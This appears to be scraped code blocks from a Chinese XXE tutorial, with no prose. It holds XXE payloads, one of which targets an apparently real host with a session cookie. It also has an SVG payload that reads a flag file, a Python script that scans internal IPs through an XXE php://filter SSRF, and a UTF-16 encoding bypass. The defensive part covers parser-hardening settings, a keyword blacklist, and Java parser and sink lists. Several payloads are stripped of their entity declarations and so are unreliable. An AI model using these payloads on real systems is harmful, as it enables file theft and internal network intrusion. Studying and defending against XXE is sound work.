1
<?xml version="1.0" encoding="UTF-8"?>
2

3
]>
4
<root>&test;</root>

1
修改Content-Type: application/xml
2
X-Requested-With: XMLHttpRequest

1
POST /action HTTP/1.0
2
Content-Type: application/x-www-form-urlencoded
3
Content-Length: 7
4
foo=bar

1
POST /action HTTP/1.0
2
Content-Type: application/xml
3
Content-Length: 52
4

5
<?xml version="1.0" encoding="UTF-8"?>
6
<foo>bar</foo>

1
windows
2
<?xml version="1.0" encoding="UTF-8"?>
3

4

5
]>
6

7

8
linux
9
<?xml version="1.0" encoding="UTF-8"?>
10

11

12
]>

1
POST /dorado/view-service HTTP/1.1
2
Host: www.nxzhaj.com:8080
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
4
Accept: */*
5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6
Accept-Encoding: gzip, deflate
7
content-type: text/xml
8
Content-Length: 133
9
Connection: close
10
Referer: http://www.nxzhaj.com:8080/
11
Cookie: JSESSIONID1=6061F2C1A054E8B25D732A1578F6D443
12

13
<?xml version="1.0" encoding="utf-8" ?>
14

15
]>
16
<root>&xxe;</root>

1
import requests
2
import base64
3

4
#Origtional XML that the server accepts
5
#<xml>
6
#    <stuff>user</stuff>
7
#</xml>
8

9
def build_xml(string):
10
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
11
    xml = xml + "\r\n" + """"""
12
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
13
    xml = xml + "\r\n" + """<user>"""
14
    xml = xml + "\r\n" + """ <username>&test;</username>"""
15
    xml = xml + "\r\n" + """</user>"""
16
    send_xml(xml)
17

18
def send_xml(xml):
19
    headers = {'Content-Type': 'application/xml'}
20
    x = requests.post('http://192.168.11.59/doLogin.php', data=xml, headers=headers, timeout=5).text
21
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
22
    print coded_string
23
#   print base64.b64decode(coded_string)
24
for i in range(1, 255):
25
    try:
26
        i = str(i)
27
        ip = '10.0.0.' + i
28
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
29
        print string
30
        build_xml(string)
31
    except:
32
        continue

1
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE note [
3
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
4
]>
5
<svg height="100" width="1000">
6
  <text x="10" y="20">&file;</text>
7
</svg>

1
libxml_disable_entity_loader(true);

1
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
2
dbf.setExpandEntityReferences(false);
3

4
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
5

6
.setFeature("http://xml.org/sax/features/external-general-entities",false)
7

8
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

1
from lxml import etree
2
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

1
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

1
1.XMLReader
2

3
XMLReader接口是一种通过回调读取XML文档的接口，其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口，其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序，以及开始文档解析。当XMLReader使用默认的解析方法并且未对XML进行过滤时，会出现XXE漏洞。
4

5
2.SAXBuilder
6

7
SAXBuilder是一个JDOM解析器，其能够将路径中的XML文件解析为Document对象。SAXBuilder使用第三方SAX解析器来处理解析任务，并使用SAXHandler的实例侦听SAX事件。当SAXBuilder使用默认的解析方法并且未对XML进行过滤时，会出现XXE漏洞。
8

9
3.SAXReader
10

11
DOM4J是dom4j.org出品的一个开源XML解析包，使用起来非常简单，只要了解基本的XML-DOM模型，就能使用。DOM4J读/写XML文档主要依赖于org.dom4j.io包，它有DOMReader和SAXReader两种方式。因为使用了同一个接口，所以这两种方式的调用方法是完全一致的。同样的，在使用默认解析方法并且未对XML进行过滤时，其也会出现XXE漏洞。
12

13
4.SAXParserFactory
14

15
SAXParserFactory使应用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的构造方法，可以强制使用newInstance()。跟上面介绍的一样，在使用默认解析方法且未对XML进行过滤时，其也会出现XXE漏洞。
16

17
5.Digester
18

19
Digester类用来将XML映射成Java类，以简化XML的处理。它是ApacheCommons库中的一个jar包：common-digester包。一样的在默认配置下会出现XXE漏洞。其触发的XXE漏洞是没有回显的，我们一般需通过Blind XXE的方法来利用
20

21
6.DocumentBuilderFactory
22

23
javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器对象，DocumentBuilderFactory是一个抽象工厂类，它不能直接实例化，但该类提供了一个newInstance()方法，这个方法会根据本地平台默认安装的解析器，自动创建一个工厂的对象并返回。

1
javax.xml.parsers.DocumentBuilderFactory;
2
javax.xml.parsers.SAXParser
3
javax.xml.transform.TransformerFaory
4
javax.xml.validation.Validator
5
javax.xml.validation.SchemaFactory
6
javax.xml.transform.sax.SAXTransformerFactory
7
javax.xml.transform.sax.SAXSource
8
org.xml.sax.XMLReader
9
DocumentHelper.parseText
10
DocumentBuilder
11
org.w3c.dom
12
org.xml.sax.helpers.XMLReaderFactory
13
org.dom4j.io.SAXReader
14
org.jdom.input.SAXBuilder
15
org.jdom2.input.SAXBuilder
16
javax.xml.bind.Unmarshaller
17
javax.xml.xpath.XpathExpression
18
javax.xml.stream.XMLStreamReader
19
org.apache.commons.digester3.Digester
20
org.xml.sax.SAXParseExceptionpublicId